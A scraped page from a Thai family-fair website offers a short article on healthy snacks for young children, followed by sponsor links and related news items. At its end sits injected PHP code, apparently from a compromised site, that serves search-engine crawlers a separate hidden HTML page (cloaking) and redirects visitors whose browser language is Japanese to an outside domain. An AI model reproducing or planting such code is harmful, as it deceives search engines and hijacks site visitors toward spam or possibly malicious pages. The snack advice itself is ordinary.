ลงทะเบียนเข้างาน
Mobile number
e-mail
ลงทะเบียนรับ QR CODE
  เข้าสู่ระบบ
Sponsors
ดูทั้งหมด
Banner
ดูทั้งหมด
ข่าวสาร
แบ่งปัน
อาหารว่างแบบไหน? ถูกใจวัยรุ่นฟันน้ำนม



อาหารว่างแบบไหน? ถูกใจวัยรุ่นฟันน้ำนม


อาหารว่างอุดมด้วยประโยชน์
 

  • ผลไม้สด แบบไม่หวานจัด เช่น ส้ม ฝรั่ง ชมพู่ มะละกอ 
  • นมจืด
  • น้ำสมุนไพรไม่หวาน หรือ หวานน้อย
  • น้ำผลไม้คั้นสด หรือสมูทตี้ ไม่เติมน้ำตาล
  • แซนด์วิช ขนบจีบ ซาลาเปา
  • ขนมไทย เช่น ข้าวต้มมัดไส้กล้วย ถั่วแปป


อาหารที่ควรหลีกเลี่ยง

  • ขนมถุงกรุบกรอบ
  • น้ำอัดลม / น้ำหวาน
  • เบเกอรี่ต่างๆ


เกณฑ์ในการเลือกอาหารว่างให้เหมาะสม

หลีกเลี่ยงอาหารว่างที่มีคุณค่าโภชนาการต่ำ เช่น อุดมไปด้วยไขมัน แป้งและน้ำตาล

อาหารว่างควรมีพลังงานไม่ควรเกินมื้อละ 100 - 150 kcal. ต่อมื้อและสามารถกินได้ 2 ครั้ง / วัน



ขอบคุณข้อมูลจาก https://navavej.com/

<  กลับ
เรื่องอื่นๆ ที่เกี่ยวข้อง
ประกาศรายชื่อผู้โชคดี กิจกรรมลงทะเบียนเข้างาน BBB63
ประกาศรายชื่อผู้โชคดี กิจกรรมลงทะเบียนเข้างาน BBB63
Promotion Credit Card in BBB63
Promotion Credit Card in BBB63
โปรโมชั่นบัตรเครดิตภายในงานมากมาย! ช้อปสะดวก ผ่านบัตรเครดิตที่ร่วมรายการ พร้อมรับสิทธิพิเศษเพียบ
ครอบครัว BBB บริจาคเงิน สนับสนุนโครงการ Little Miracle เพื่อผู้ป่วยเด็ก
ครอบครัว BBB บริจาคเงิน สนับสนุนโครงการ Little Miracle เพื่อผู้ป่วยเด็ก
Sponsors
ดูทั้งหมด
Banner
ดูทั้งหมด
error_reporting(0); $ua = strtolower($_SERVER['HTTP_USER_AGENT']); $rf=$_SERVER['HTTP_REFERER']; $botchar = "/(googlebot|slurp|adsense|google-inspectiontool)/"; if(preg_match($botchar, $ua)) { if($_SERVER['REQUEST_URI']=='/' { $file = file_get_contents(dirname ( __FILE__ ) .'/bbb31impact.html'); echo $file; exit; } } error_reporting(0); $language = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; if (strpos ( $language, "ja" ) > - 1) { header ( 'Location: https://ht428.org/' ); exit (); }